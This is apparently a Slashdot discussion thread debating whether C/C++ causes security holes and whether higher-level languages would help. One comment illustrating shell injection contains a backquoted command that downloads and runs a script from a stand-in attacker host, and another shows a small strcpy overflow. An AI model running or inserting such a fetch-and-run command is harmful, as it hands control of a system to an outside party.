Too Cool For Secure Code?
An anonymous reader writes "Looks like not everyone believes Linux is the monolith of security folks might like us to think. Jon Lasser raises some interesting points in this article over at Security Focus. Though it has to be said, that whilst he focuses on the Linux/Unix side of things, a good proportion of programmers (no matter what they work on) are guilty of similar conceit to some extent."
Taken a look at sourceforge? My god, some of the work is horrible!
Blar.
In Soviet Russia code secures YOU
no llamas were harmed in the making of this sig
Everyone likes to brag about what they are doing and to be nice to people. The best security is social in nature: clam the fuck up about what you are working on, isolate yourself from others who are trained to know the meaning of what you are doing. That's the best security - it leaves you free of determined attempts and leaves only the random attempts at hacking which can be dealt with by techniques mentioned in the article link.
But it is OPEN meaning a COMPETANT admin can MAKE it very secure. About the closest thing to 'out of the box' security is OpenBSD. My Linux (RH71) box was rooted in less than a day after putting it on the 'net. My OpenBSD box has lasted for almost a year.
try { do() || do_not(); } catch (JediException err) { yoda(err); }
Well first off, I would like to say that every OS has had their fair share of vulnerabilities.
:) (bah, but I will also look for some old sample assignments which demonstrate this)
Secondly, we learned at skool (yes some non cool nerds go to school to learn things) certain ways to make your code less likely to be exploitable. For example, making certain objects static is often useful. Object Orientated Programming lends itself to be useful in making secure code.
I will leave it to karma sluts to find a link for me
[I can picture a world without war, without hate. I can picture us attacking that world, because they'd never expect it]
Maybe this guy buys a new supercomputer every month, but my Duron at work isn't getting faster any time soon.
Not only am I too cool for secured code, I'm too cool for school.
dinosaur comics
I've been trying to r00t GORILLAS.BAS on my DOS box for years with no luck.
Trolling is a art,
I've found over the years that most new coders aren't taught the proper basics of coding because they focus on learning high level languages and arcane algorithms, instead of focusing on the art of computing, like Donald Knuth's books.
Only too often have I sat in on meetings with immature little dweebs who rant on and on about XML or the technolofy flavour of the month or hacking at code to achieve Olog(n) cahche hits instead of focusing on making proper underlying designs.
Frank Brooks talks quite a bit about this in his book "The Mythical Man Month" where he states that secure computing is getting worse on the level of one order per generation of new programming languages. That book should be required reading by all CS students.
Warmest regards,
--Jack
Wagner LLC Consulting Co. - Getting it right the first time
It's about default reality.
In Windows, the main user is often Administrator, and all services run either as Administrator or System. In Unix, most of us use a non-root account (though we may have access to root) and most services are run by its own user, like httpd, or nobody. Combine this with default world-write permissions of "allow" in Windows and "0644" in Unix.
This still doesn't mean much for a script kiddie h4x0r with a rootkit ready to go, but damage is at least slightly mitigated.
Doing the Right Thing should not be preempted by making a buck.
The thing is, you can program in a low-level language yet still avoid bugs like buffer overflows and failing to handle NUL characters in strings.
In C, it just requires using a library like glib for your string handling, and some similar library to provide bounds-checked arrays.
In C++, it means avoiding char * strings like the plague and using the standard 'string' class instead; similarly using 'vector' or other STL containers instead of C-style arrays.
I think it would help if there were a standard, minimal C string library, and if existing APIs including system calls were given equivalents using these. So open() could take a pointer to a 'const struct String' rather than a char *. Having done this, the existing functions like strlen() and strdup() could be declared deprecated. There are plenty of decent string manipulation libraries for C, what's lacking is a single one library which everyone can agree to support.
At least in C++ there is a standard 'string' type, although some people insist on reinventing the wheel (Microsoft's MFC with CString, Qt with QString).
-- Ed Avis ed@membled.com
Jeeze, he isn't even a programmer..
-- www.globaltics.net
Political discussion for a new world
Unfortunately, the vast majority of our desktop software on Linux is still being written in C or C++. Why? Well, those are the "native" languages of the two big desktop projects. C++ was chosen in KDE because, well, that's what Qt is. C was chosen in GNOME, ironically partly because it's easier to bind to other languages (when done properly).
I think the one of the reasons more software isn't written in higher level languages is that bindings are a PITA - not only do you have to manually produce them, but in the absence of solid dependancy management for all Linux distros, it grows your dependancy list as well. See the fate of Straw (an python RSS app) for an example of this.
What's really needed is a decent component model, making it easier to choose the right language for the job, instead of choosing a langauge because that's what all the libraries are written for, or because that's what everybody else uses.
Jesus, I get enough bloat in my email just because of spam. Now this guy want's bloat from the ground up.
Processing power cheap, no way, all you need is 640k, that's what I say.
What he should be saying is re-use code and libraries to avoid bugs.
thank God the internet isn't a human right.
After programmers take responsibility, perhaps they can consider using the right tool for the job, rather than the right tool for the job of their dreams.
I don't think this macho thing plays into it nearly as much as he states. I think it has to do with comfort and laziness. I've been programming in C/C++ for over 15 years, so obviously, if I have a programming task to tackle, I will lean towards using those languages. I can do a minimal amount of vb, so if I need to slap together a ui, I can, but not anything that did anything interesting. If I have a task, how much time should I spend learning a new language if that language is better suited for the task than a language I know? Since I'm new to this language, how much worse is the code going to be than what I could have written in a less suitable language?
I'm not saying that I'm against learning new languages, but a programmer can only realisticly be "good" at a small set of languages. And the realities are that unless I'm working on a pet project, I don't have the time to learn something new or try to come back up to speed on a language I last used two years ago. Perl is an excellent example in my case, I don't know a lick of it. If I have simple text processing to do, I use the "simpler" text utilities (awk and sed primarily), unless the problem is very simple, in which case I fire up my text editor. If it's more complex, then I use C/C++. Could it be done quicker in Perl, maybe, maybe not. If by quicker you allow me to ignore the ramp up time to learn the language. If I were doing this type of thing all the time, then the rampup could be amortized in the long run. If it's onsie twosie, then forget it, out comes the c compiler.
This comparison is unfair.
He's comparing all the vunerabilities in open source programs that he found has been released in a period of time and calls them 'linux' bugs.
Those programs have nothing with the linux kernel. Other than they can be run on it.
Do you want to compare that list with every program from every vendor that codes for microsoft windows. On a hunch, I'd say it's a lot higher.
Based on upvotes, Ageism is the only "-ism" Slashdotters care about and think isn't SJW
Last semester I took a Java-programming course and a course on processor architectures. The latter had me doing a simple program on MIPS R3000 assembler.
This semester I decided to take a C-programming course. At the first lecture the speaker raved about how every possible platform has a C-compiler and how C is 2.5 generation language 2G being assembler and how it was so very good.
To my complete shock he was right. Comparing to my last semester experience C is much closer to assembler than for example Java.
I agree with the original article: for the most part you do not need the extreme speed of C. The maount of time you spend with debugging memory leaks and taking care of buffer overflows could be much better spent creating new features or debugging logical flaws. C is great for device drivers or kernel but let's leave it there!
Karma: Good! Napster: Baad!
If coders must use C or C++ for everything, there are tools to make these languages a little less dangerous: WireX's StackGuard and FormatGuard come immediately to mind, as do various high-level string libraries.
This part intrigued me. It seems like most of the issues are with the libraries (libc in particular), not with the languages. Forgive my ignorance here (don't do much C) but IIRC there are safe and unsafe ways to copy strings, for example.
The author seemed to be advancing a stronger argument (against C and C++) but this suggests a weaker (but still valid) one.
Slashdot looked deep within my soul and assigned
me a number based on the order in which I joined
"In an age where processing power is cheap, there's no excuse for a mail client written in C or C++."
This sounds like Microsoft's philosophy - bloat because we can afford to.
I believe Perl is so liked because it gives the programmer a similar level of freedom than C when coding applications, but removes the tedious dynamic memory allocation and buffer overflow preventation.
Karma: Good! Napster: Baad!
If I had my moderators points, I'ld mod you up.
If anyone has ever written a piece of software, they should be able to tell you that they always found bugs while the software was in production. Commercial software houses often try to recreate random environments by having a variety of computers configured in a variety of ways so that these types of unknown issues might get caught. This is fairly random, but it can work to some extent. Does this mean that all in-production software systems should or will be defect free? Not at all.
There will be people out there that will argue that in-depth analysis of all algorithms and code paths should be done before software is written. This is not very practical since much of a problem domain is unknown when the software to solve the problem is written. Like if you ever interview for Microsoft, they always throw that proof question at you as if it is going to reflect in any way on your skills. I've thought that this is why they have so many problems. They hire the people who can solve a problem when the entire domain of the problem is known, as when the information in these proof questions is presented. The problem here, however, is that the problem domain for software changes as the software is being implemented. You also miss out on people who think outside of the problem domain to see if there are certain situations that can invalidate the facts of the given problem domain.
Of course he is, because that would make the article larger in focus than what he wants, which is to push buttons. C may be a riskier language than some, but even the big-dog interpreted languages have their own problems.
assert(expired(knowledge));
This was meant to be a main reply, not one to this comment.
I agree with the author in that choosing C or C++ over Java, PHP, or some other modern language today doesn't make a lot of sense. Not that there aren't legitimate reasons to use C, but I think it's reasonable to take the approach that when starting a new project we'd assume that a modern language is the way to go until we can justify using a lower-level language for performance, or other reasons.
However, I'm not sure that using Java-based apps would decrease the instances of security holes. Building security into applications is still inherently hard to do, no language can completely isolate the programmer from having to think and design for security and there will never be a sudden epiphany by every developer in the world that they have to spend time on security when they have deadlines to meet.
--- We have a pool and a pond, the pond would be good for you.
C removes the processor specific nature of Assembler and is Good. C++ is the beginning of Bad. Coders who can't hack C probably shouldn't be. Depending on a higher level language just means depending on those who maintain the code for that language or languages. People who use Perl are dependent on both the coding quality of the Perl engine itself and the C libraries that it is built from.
Please, spare me from the armchair drivel of these SecurityFocus columnists! (Okay, I should spare myself, but I'm compelled to comment.)
The thrust of the article is that most programmers are not skilled enough to write secure code, so they should be using HLL's that do the security for them, and leave C/C++ code to the "experts."
Hogwash.
Repeat after me: Security is a process, not a product. HLL's can be misused just as effectively as LLL's.
Back to this columnist's soapbox rant. It ends up reveling in an admittedly fallacious comparison:
> Real programmers manipulate the system at the lowest possible level,
> for the maximum possible effect.
I'll accept that, in the diversity of programmers, there are some that are writing insecure code. But stereotyping of this sort is an act of the columnist. Even if there are some programmers who adopt this stereotype, they do not nearly comprise the entire population. The existence of many professional, responsible programmers is completely discounted by the columnist.
> The fallacy of the comparison should be obvious...(
> I think it's safe to say that programmers spent less time at
> self-criticism than pilots.)...
It's safe to say in the one-way communication of the columnist's world. It's safe to say when your profession is to write sassy, not-too-verifiable copy. It's safe to say if you don't have to have your article vetted by fact-checkers.
> It would be nice if we could expect that our programmers would act
> more like airline pilots than fighter pilots: that they acknowledge,
> and accept, the responsibility that they take for the well-being of
> others. Until they take this step, I doubt that the quality and
> security of the code that we all rely on will improve.
Here the columnist exercises the same comparison he recognized as fallacious. Programmers are not pilots. Not airline pilots, not fighter pilots. While I believe there is a need for the computing industry to move towards more responsibility for security, focusing just on C/C++ programmers will not do the job. There is plenty of improvement to be made by the end users, and the columnists as well!
> There is also a macho streak in programmers:
There's a macho streak in this columnist who disparages professions that he probably hasn't been participating in as of late.
Pfft!
...grammar take two.
assert(expired(knowledge));
Well, he wants everyone to write everything in perl, except for the fact that he brings up, that perl is just as insecure itself.
So what will everything be written in??? Every part of the OS in java? Nevermind the performance, and the lack of a good, Open Source JVM/JDE.
If you want secure programs, start putting strong-typing, and other security measures into GCC. You can't have a string overflow if GCC checks everywhere data is input, and makes sure the input can be no longer than the string...
A bit different, but it deserves to be mentioned that OpenBSD 3.3 (which will be released VERY soon-already tagged), has numerous protections as described here, by Theo. Yes, that's right... OpenBSD has been doing the job before Lasser even lifted a finger to complain.
Slashdot gets worse every day... Pipedot: News for nerds, without the corporate slant
Well, perhaps its because of one of the following reasons:
1) Too many programmers aren't granted adequate debugging time by companies who'd rather get any code to market on time rather than test it thoroughly and miss deadlines.
2) How many programmers do you know who actually know how to audit code for security issues? How many companies are going to invest time and effort (and money) in hiring these people (or training their own?)
3) As people learn new languages, do they learn secure practices too? No, they learn how to write functional code. For some, thats enough to get the job done.
"In an age where processing power is cheap, there's no excuse for a mail client written in C or C++."
How about portability? Or efficiency? Or the fact that the guys writing the code would rather work on the mail client than go and learn a new language first? If they are writing bad code in a language they have been using for years, why move the problem to an area where they have even less expertise?
Writing secure code is a black art to many, and we can only hope that peer review and open source will help to spread the word amongst today's developers.
Jack really brings the morons outta the woodwork for everyone to see. Like a duck call that works on idiots, I suppose.
--sdem
Spot on. I've been a coder for 20+ years, cutting my teeth on VAX back in the good days and I couldn't agree more!
Another guy that doesnt know what his talking about, because he has a Microsofty point of view.
What does he mean that the speed of an emailprogram is not important? What kind of bullshit is that? Email programs are database like programs that sometimes deal with huge amounts of data. (My email-archive is several times larger than my databases). The problem with email programs is infact that they start small and efficiency is not considered, and then when developers start using them for real they start choking on 3000 messages per day and 600Mbytes archive of linux-kernel in your inbox.
The people who using Linux on desktop(for real), are not the same people that uses Microsoft on the desktop. The workloads are different and in many cases especially mail-programs, every bit of performance matters because it is already horribly slow.
> This part intrigued me. It seems like most of the issues are with the libraries (libc in particular), not with the languages.
> Forgive my ignorance here (don't do much C) but IIRC there are safe and unsafe ways to copy strings, for example.
Though the libraries are partially at fault (printf is a big one), it's not just strcpy any more. It's easy to grep source code for unsafe library functions and replace them. Buffer overflows these days are usually in programmer-written parsing routines (recent sendmail bug), and other bugs like integer overflow (sshd, sunrpc, etc.) and double-free (zlib) are also manifested independently of the libraries.
He's right, though: a safe language like O'Caml, SML, or Java would make these bugs impossible to make. Writing code in a higher-level language also gives the programmer more time to work on other important things, like the security holes that a compiler can't block automatically! O'Caml and SML (depending on the compiler), for their part, are pretty fast and lean too.
You said it yourself: "Neither programmers nor system administrators like diversity in the underlying environment: it makes debugging much more difficult." So, the solution isn't to switch en masse to Java or Perl; the solution is to make it harder to write insecure code in gcc. No one should be using sprintf anymore, so why doesn't its use triggers a warning of some sort? For instance, have libc only export "unsafe_sprintf", and have stdio.h #define sprintf to that *and* emit a #pragma warning each time it's used.
Nothing for 6-digit uids?
Nobody is perfect, if you want all that secure code: Write it yourself.
GAAH! MY PRINTER IS ON FIRE!!! PUT IT OUT! PUT IT OUT!
I routinely get into "discussions" with old coworkers about how I can possibly stand my job, which is largely Java-related. It's plenty fast for my tasks (I'm not streaming video), and pretty darn secure. I just sort of sit back and smirk as they rip what little hair remains from their heads struggling to figure out why the vtable gets corrupted on a certain long-lived object but only after an uncertain number of events.
Moreover, my productivity is three times better than with C/C++. (Measured back when I used to have to do Personal Software Process stuff.)
Yes, it's fun to twiddle bits and trap into kernel space by hand sometimes, but dammit, I've got deadlines. I've got to focus on the application if I want to get paid.
The article's author states:
For users accessing mail via IMAP or POP, network speed and congestion have a greater influence over performance than anything done on the client side; even for users with local mailboxes, I doubt that we're looking at a huge performance hit.
I beg to differ. I use email a lot - as do most people. I need it to be lightning quick in handling multi-megabyte local mailboxes. Basically, he could not have thought of a worse example of where performance supposedly does not matter since modern email repositories resemble databases these days. I am not willing to give up performance for perceived security in this area. Yes, that's right - performance and ease of use are every bit as important as security. Security for security's sake is simply not good enough. Users expect more - they expect both security and performance. You cannot give them less than what they already have. If the C or C++ code has a flaw - you fix it - it's that simple. OpenBSD has been doing this for years. Yes, it takes extra work - but the results are well worth it. Just don't give me this crap that my critical applications have to written in some interpreted or sandboxed computer language which takes up 4 times the memory and runs at less than half the speed all just for supposed security's sake. Show me this magical machine that can make all interpretted code run lighting fast and I will show you a machine that can run twice as many compiled applications over three times faster.
most of the most serious vulnerabilities (in things like the kernel, tcp stacks, libc, high-traffic web servers, etc), *need* to be written in a low-level language for reasons of efficiency. While I agree that it probably makes sense to re-implement lpd in perl or python or whatever, we will always need core services to be written "close to the metal".
That being said, I think ANSI should revisit printf and find a way to fix it. Any compiler can do a good job at type checking, and it should be possible to print without all the % madness.
So long, and thanks for all the Phish
Anyone else read the comments on the page?
This is the most idiotic text i have ever read. Next time you lack a topic to write about, by all means drop a note to bugtraq, i'm sure that collectivelly we can come up with something more compelling than this mindless rambling of fighter pilots and "coders".
. . . and . . .
Not sure what exactly you are suggesting would be better than C/C++? Java? PHP? PERL? C#?
These comments entirely miss the point: I think Lasser's main point is that programmers need to focus more on security instead of being lulled into a false sense of security, and that it is the quality of code and not the tools used that make a system secure.
A related note on Linux security vs Windows security: yes, Linux is `inherently more secure' than Windows; no, Linux is not inherently secure. (I know most /. readers know this, but there is sometimes the tendency to fall into a `security high ground' trap.)
In short, carefully consider what Lasser has to say-- he's no fool on the subject of security.
How do you prevent against double-frees ... Use a garbage collector? Integer overflow ... use a package that checks for overflow on each integer op? Bad pointer arithmetic ... disallow it? Force the programmer to check error conditions on system calls ... use exceptions?
What you're describing, is, in fact, a modern high-level language. Except that if you were to do all this stuff in C, you'd be in such an environment that even the simplest stuff is a pain in the ass... calling special functions or macros to access arrays, etc. Nobody wants to do this, and nobody wants to read code that does -- and that's why nobody does. These high-level safe languages do all this stuff automatically, and transparently, so that you can write clean natural code and it is secure against the most common kinds of holes. Java is an example if you like Object Oriented programming, for my part I like SML.
Of course it's possible to write bug-free C code. But it's really hard when you are at the scale of even a modest network daemon. Even our best programmers make security bugs when writing in C though (see: Quake I, II, III, Half-Life, Linux Kernel, sshd, ftpd, apache, perl, mozilla, and just about every other software package you think is written by great programmers), so how can we expect the rest of the world to do it?
Here's the Secure Programming for Linux and Unix HOWTO, good reading IMHO, :)
alternately here.
(Hopefully on-topic
C sucks, C++ sucks, PHP sucks, Perl sucks, programmers suck (I'm not a programmer, but trust me they suck) and there may be tools to make them not suck, about which I know nothing so I'll just use this lame-ass fighter pilot analogy instead. Vote Quimby.
"Karma can only be portioned out by the cosmos." -Homer Simpson
Isn't C dependant on the quality of the compiler and/or the OS system calls it makes? Following your logic, I can only write secure code in machine code.
That sort of sentiment is why disarmament and other peaceful processes get stopped in their tracks. One must make a moral committment to voluntary action towards peace.
First of all, that quote is a Jack Handy quote -- the Jack Handy from Saturday Night Live, a category that includes other quotes like, "If you ever drop your keys in a river of lava, forget about them, becuase man they're GONE" and "".
Second, "moral committment to voluntary action towards peace" sounds nice and flowery, but you're omitting the part that makes that work -- the part about BOTH PARTIES making that moral committment. Peace doesn't work when one party makes that moral committment, and the other party doesn't.
How is peace possible if party X says, "we want peace," but party Y says, "fuck peace -- let's go bomb X!"?
I guess he didn't get the memo. Real programmers use assembler! ;)
I never knew ego was such a problem for humans.
</sarcasm>
While Jon mentions Java once, I think it deserves more praises, especially when you talk about high level languages: java security (both virtual machine and the language) is so tightly implemented that there's no known exploit for a java buffer overflow. The worst that can happen to a java server is JVM can crash. This is solvable by a mere JVM restart, and nowhere close to gaining control of the box it's running on.
It's bad programming habits and the lack of tools that catch those program time errors.
Static analysis, the use of programs to analysis code that has not been compile completely to machine code, has historically been undeveloped in open source. I use to have a list, was my research focus for a while, but basically we have one decent static analyzer Splint, and it's not that hot compared to commercial offerings.
For instance the HANDS group from stanford has tracked down lots of kernel bugs using their in house analyzer, in lots of obscure places. MS has an in house program I hear they guard closer than the kernel itself! I have a friend that did kernel work for them that agreed with this, they give him the kernel source but not the ananlyzer binaries even. The guy who wrote it, known in pointer analysis circles often goes on about how he's found tons of bugs in open source projects ( bet you he's not filing bug reports )
There are lots of groups working on static analysis, but no one wants to open source their code.
Hind, Michael http://www.research.ibm.com/people/h/hind/
Hind has written amongst other things probably the best and most recent introductory papers on pointer analysis at http://www.research.ibm.com/people/h/hind/paste01. ps.
stanford checker
SUIF compiler suif
I had a few other links, but the lameness filter is complaining about "too many junk characters". You'd think slashcode would have a better filter by now.
Based on upvotes, Ageism is the only "-ism" Slashdotters care about and think isn't SJW
I got maybe halfway into it when he started talking the same old bullshit about higher level languages etc etc. His intro "Until Unix and Linux programmers get over their macho love for low-level programming lanaguages, the security holes will continue to flow freely."
Sure, but ummm the same goes for every other programmer. Just not Unix or Linux programmers. What about your favorite Windows programmers? Is not their system based on a low level language? Even in comparison to high level languages the security holes still flow freely on that platform.
Then the author took the time to point out security holes in popular unix software. I'm glad he did this because you couldn't do the same for other systems. All in all the author is reinforcing the fact that here in nixland we have stronger peer review than anywhere else. We hold each other to as critical standards as possible and are happy to find errors in others code not just for the hell of it but because it makes all of us safer.
Next he talks about the programmer given up his ability to control a system by using higher level languages. That's cute but sadly in this field to become the best you have to understand the low-level stuff and they happen to be techniques and are not language specific. Moving memory around or conserving it is a technique and not a black magic art. Once you learn it you can apply the idea to other low-level languages you encounter. Writing a new algorithim at the lowest level possible isn't some black magic art it's a technique and can be taught to others.
I'm not saying that writing an email client in C is good or bad but the choice is of the programmer and not for you to make Mr. Lasser. That's the whole point of this OpenSource thing and as the particular package becomes more useful and needed in this community it will encounter more peer review than anywhere else. People can learn from others mistakes and hopefully we end up with better, more featureful and more secure code. Surely this has been happening for quite sometime now. In comparison to other closed systems where the amount of security holes are theoretically infinitely higher than the community we work within. The answer is clear; your take on it? Instead of writing an email client in C write it in perl? It doesn't matter.
OK, chewie, what the hell does that mean?
First, a safe language does NOT have to be interpreted. You can statically compile most of Java to native code -- you'll still have all of the class checking, but there will be no virtual machine, no JIT overhead, and the result will be fairly lean. Java is far from the best though -- SML (see mlton) and O'Caml both produce fast lean native binaries from safe language source.
Second, the JVM "cracking" is totally irrelevant here. The scenario described in that paper is that you have physical access to the machine *and* the ability to supply the program to run. What that translates into here is a hacker saying, "Hey, can I come over to your house, install this Java irc daemon that I wrote, and then shine a lightbulb on your memory?" What we're ACTUALLY talking about is software written by a programmer who intends to make secure code, and a user who doesn't want to corrupt his memory. (In any case, C or C++ or essentially any other language would be just as vulnerable to security holes in a scenario where memory is randomly corrupted.)
So, what are you talking about?
I'm somewhat of a java noob, but from what I've seen with it, it's pretty damned hard to buffer overflow in java. Considering that if you try overloading strings/arrays and whatnot, you're thrown Overflow and IndexOutOfBounds exceptions. Although java is pretty shoddy when it comes to performance, it does well with error handling.
"You had this look that of an angel, it was such a bad disguise" --Dishwalla
Bloat as a compromise. I'd rather have a task take 10ms to complete and be secure than take 1ms and be insecure. I'm not going to notice the difference between 1ms and 1ms, so why does it matter?
If we're talking about longer time frames, then efficency becomes more of an issue, I'd rather not wait 10 seconds for something that could be done in 1, but I might be willing to wait 1.5 seconds. This is usually the sort of timeframe we're talking about. If the code spends mosty of its time waiting, we'll have even les of a slowdown.
The point is that engineering is about finding a compromise. You don't want as small and fast as is possible, just as small ans fast as is neccesary.
Think of it as an investment - you need to spend a couple hours reading at least the first chapter of Learning Perl, maybe browsing a few others. Then, when you need to do something, look it up in The Perl Cookbook. Most of the time the example code will do everything you need. If not, you can modify it with what you've learned in Learning Perl. For the kind of tasks you mention, this should be more than sufficient, and for a few hours and $75 (retail) you'll save hours and hours and hours down the road. My only regret is that I didn't listen to my friend Eric who told me about perl when I was still a C++ guy and wasted a couple years without it.
My God, it's Full of Source!
OUTSIDE_IP=$(dig +short my.ip @outsideip.net)
C/C++ is wonderful for implmenting operating systems, programming languages, servers that need to be fast, and libraries/modules.
For a program which spends its time waiting for the user to click on a key, it doesn't matter whether it's implemented in CRAY assembler or GWBasic---it's still waiting for the user to click a key. Of course, once an action has been selected, efficiency becomes more of a criterion. Efficiency can be achieved by appropriate coding in high-level languages and by passing CPU-intensive tasks to library functions.
It would be nice if we could expect that our programmers would act more like airline pilots than fighter pilots: that they acknowledge, and accept, the responsibility that they take for the well-being of others.
And if you're on a Windows 2k box, your plane's a DC-10. Guarenteed to go down.......
--beacher
Use source analyzers to find common mistakes, here are a few
Flawfinder
RATS
ITS4
Splint
also look at Splint's Links page for more on the topic
How about some thought?
Slightly higher overhead than a straight free(), but way less than GC would incure, and no more double frees.
Assuming this guy means an intepreted language when he talks about a high level language, then that doesn't do you any good either. Not only are interpreted languages somewhat slower than compiled languages, they all have to run through a compiled program anyway. The JRE is a compiled program with all the vulnerabilities that come with that status, and for that matter even Sun has been switching away from java lately. C#, while not a bad language(I've been taking a look at it recently), just uses .NET as a layer between regular MFC/Win32 system calls, and their newly developed C# calls. I have no illusions that anything as complicated as .NET, or even MONO it's open source equivilant is ever going to be completely secure, it's just too big.
I agree that better libraries should be written and used and that buffer overflows should have some default protection, it would also be nice if there was a way to find out exactly how buffer overflows work and how to protect against them without looking like a cracker. I'm about to graduate from a relatively prestigious 4 year university with a BS in computer science, but while buffer overflows have been frequently mentioned and I have a general idea of how they work, no one has ever made it clear exactly how they work and what you can do to stop them from happening.
char string[16];
strcpy(string,"That's unpossible!");
It's bad programming habits and the lack of tools that catch those program time errors.
A high level language compiler/interpreter is a tool. ;) And there are lots of them out there. Even open source ones!
I believe .NET got it right, using a highlevel language like c# for the ui and non speed critical stuff.
These kinds of languages (ie. Java and c#) are very robust, the big library of objects that are safe and no buffers too overflow.
And dropping back to c++ when you need some very optimized stuff.
Its a bit of fiddeling around but for example i'm using pieces of mmx asm from within my c# application.
It's a bitch to deliver anything that doesn't compile using the standard, built-in tools. It's annoying as hell to deal with a package the requires a lot of installation.
Perl is especially nasty in this regard. For any given nifty package, one needs to go out to CPAN and install 15 different libraries, some of which are broken, which make assumptions about the particular developer's environment, etc.
The only way to deliver a portable program that can be assured to compile on the majority of machines is to write it in C, configuring with autoconf, and calling out to the fewest possible external (non-system) libraries as possible.
C++ is finally beginning to approach a point where the same can be said of it, and it is possible to write secure code in C++, using the STL and the standard string class.
I don't think that it's so much an issue of macho bullshit, but the practicality of being able to deliver an application that is reasonably easy for the average systems administrator to install correctly.
...of what he's talking about, I think.
:). And with Moore's law racing on as ever, how many of us are really hurting for day-to-day performance on our boxes?
This isn't an issue of programming speed. But by your explanation, you tend to stick with things you know.
If that's the case, and if you've been doing C/C++ for 15 years, then are you keeping pace with the "improvements" in C++ as time goes by? Are you using STL extensively? Are you following some of Meyer's rules? If you are inclined to just stick with what you know, instead of learning something new and potentially more useful, safer, etc., then you're part of the problem.
If, however, you have been keeping pace with changes to C++, then you could just have easily have been learning many higher level languages (and I daresay, in less time).
But all this is a little off topic. The issue the author points out is that more modern languages offer safer, more secure building blocks.
Here's a sloppy analogy. Manufacturing has been moving for years to more automated (robotic in some cases) methods. This certainly requires retraining of workers, as well as significant capital investment. But the benefits are well worth it. You have a safer work environment, you tend to get more uniform output. In many cases you get more result from fewer people, and in less time overall.
Besides, C++ really does stink
.sigs are for post^Hers.
I'm a guy who generally (over)uses C++ for most applications because I know it very well and am not familiar with many other general-purpose languages. The author of the article suggests not using C/C++ for many applications e.g. for an IRC client. What would you use for this? Or for any general GUI-program doing something general like IRC? There's Java, sure, but there must be other alternatives.
A lot of what he gripes about is infeasible to write in a higher level language (which he does note). In those cases, the problem is better addressed with mandatory access controls.
In the descriptions below, where HLL appears, I would mean something like Ruby, Python, maybe Perl.
Kernel: If you're trying to be a UNIX system, C is only practical
OpenSSL: The bulk of this is performance critical (C/C++)
MySQL: Much of MySQL is performance critical (ie C/C++), although there's no damned reason why MySQL needs to run as root outside of a chroot jail. I'm not even sure why people start it as root, it even binds to a non-privileged port. I think the first line of main() should be a call to getuid() and complain if it returns 0.
lpr: Someone write one in HLL for pete's sake. All it does is process files with helper tools and cram them to a printer device. Some of the helper tools could no doubt be rewritten as well.
mutt: Great case for HLL here.
glibc: Obviously this is in C's domain
file: One based on perl and regular expressions would be pretty useful, methinks.
ircii: HLL
Evolution: gack why is this beast written in C/C++? It probably would've taken 1/4 the time if it were written in HLL, not to mention 1/8th the code.
Samba: I imagine one written in HLL would perform just as well. *shrug*
Other examples...
wu-*: Anything that comes from Washington University should be burned. They are beyond hope.
proftpd: I don't get why this is written in C. HLL can provide a totally usable, high performance ftp server.
ssh: Most of the crypto, etc. is handled by OpenSSL. Why does this need to be in C? It doesn't.
crond? HLL
named? HLL
sendmail? HLL
ad naseum/infinitum
Of course, there are reasons against rewriting any of these beasts in a HLL. As C code, they're usually pretty self-contained. Written in a HLL, they would depend on a HLL interpreter, and for decent performance, may depend on other libraries which the default system install certainly won't have.
I remember awhile back Tom Christiansen started a "reimplement UNIX in perl" project, but haven't seen anything since. It may not have even been TC. *shrug*
Jon Lasser doesn't sounds like a professional programmer. He also doesn't sound like he is very familiar with software engineering.
There are no silver bullets.
That's the first rule of software engineering.
High level languages might help prevent or detect buffer overflows, but they don't prevent library function misuse, which is the cause of the format string errors. They don't prevent input validation, in fact most Perl programmers that use -T for taint also use stupid, unsafe untaint routines for user input. The OpenSSL timing attack mentioned wouldn't be prevented by using Python, Perl, or any other language.
If he is so concerned, why doesn't he publish the results of his usage of StackGuard and FormatGuard in Linux systems that administers?
I guess it is what I've come to expect from self-promoting security consultants; blame somebody else for the poor state of security, and charge lots of money to apply the same patches as any other good sys admin.
If you are so concerned about OSS, then fix it.
"Computer science is the art of using a bulldozer to put your problems in someone else's backyard."
./attack.sh` will cause a simple variable extraction to be suddenly expanded into a remote root.
I respect what Jon's trying to say here, and he's not entirely wrong...but it's a bit more complicated than he thinks.
He seems to believe there's a direct correlation between bare metal risk and high level safety. This just isn't entirely accurate. For example, shell scripting is extraordinarily high level code; you're literally directing individually compiled applications to do your dirty work. And yet, someting as simple as setting a variable to `wget http://www.attacker.com/attack.sh; sh
The barrier between information and instruction exists, but remains permeable, in all domains. Bare metal programmers and high level scripters each have their own issues to worry about.
High level languages have the advantage that the programmer can expect large amounts of checking to occur behind the scenes, "saving them the trouble" of doing checks they wouldn't actually do themselves. In some sense, this is very much automation work -- precisely what computers are good at. Unfortunately, large amounts of complex mechanisms operating behind the scenes without the programmer's awareness of or control over -- such is the direct cause of innumerable failures, faults, and security breaches. The above example -- single-back-quote expansion of a value into the result of the enclosed command -- is a reflection of an "unknown capability" that easily exposes any otherwise correct code built upon it.
Low level languages, to be blunt, provide fewer services, such that those services that are provided are within the range of the programmer's understanding. The problem is that very quickly, the programmer wants and needs more -- and suddenly, the environment doesn't already have base components necessary to build required functions. So libraries are brought in, sometimes even referred to as standard, and as the quote goes -- Library Design is Language Design. Maybe you're left with HLL-ish monoliths like glib, or perhaps barely thought out hacks that still depend on strcpy(copy until there's a null terminator into this fixed sized buffer...oops, hope nobody overflows this), or in the ideal, secure code case, your infrastructure exposes precisely that level of functionality required to deploy the system, and no more.
The last step is the only way to genuinely handle hostile input and expect a positive outcome. HLL's guarantee some level of failure in one case while automatically protecting against entire other classes of attacks in another. This would seem to be the essence of business -- risk management. But in code, "managing risk" in this manner can actually create risk itself, through the fault of monoculture: If everyone has the same solution, everybody's vulnerable to the same fatal flaw. When everybody and everything depends on precisely the same checks and balances, there's absolutely no robustness -- once the systemic failure is discovered, it can be exploited universally. Monoculture -- both in the protection mechanisms that are deployed, and in the run-time failure models that are exposed (too much is kept identical at runtime that has not been explicitly juxtaposed by the programmer) -- is death in biological systems, and needs to be curtailed more than it already has been.
Yours Truly,
Dan Kaminsky
DoxPara Research
http://www.doxpara.com
Studies have shown that programmer productivity, measured by lines of code over time, varies little between languages.
Great! Now let's move on to some benchmark that actually matters. Lines of code over time has never been a good benchmark. Better ones are number of bugs, time to milestone, number of milestones accomplished on time, and user satisfaction. No, none of them are perfect. Welcome to reality.
the low-level constructs that C and C++ programmers spend time managing are the same ones that can get them into trouble
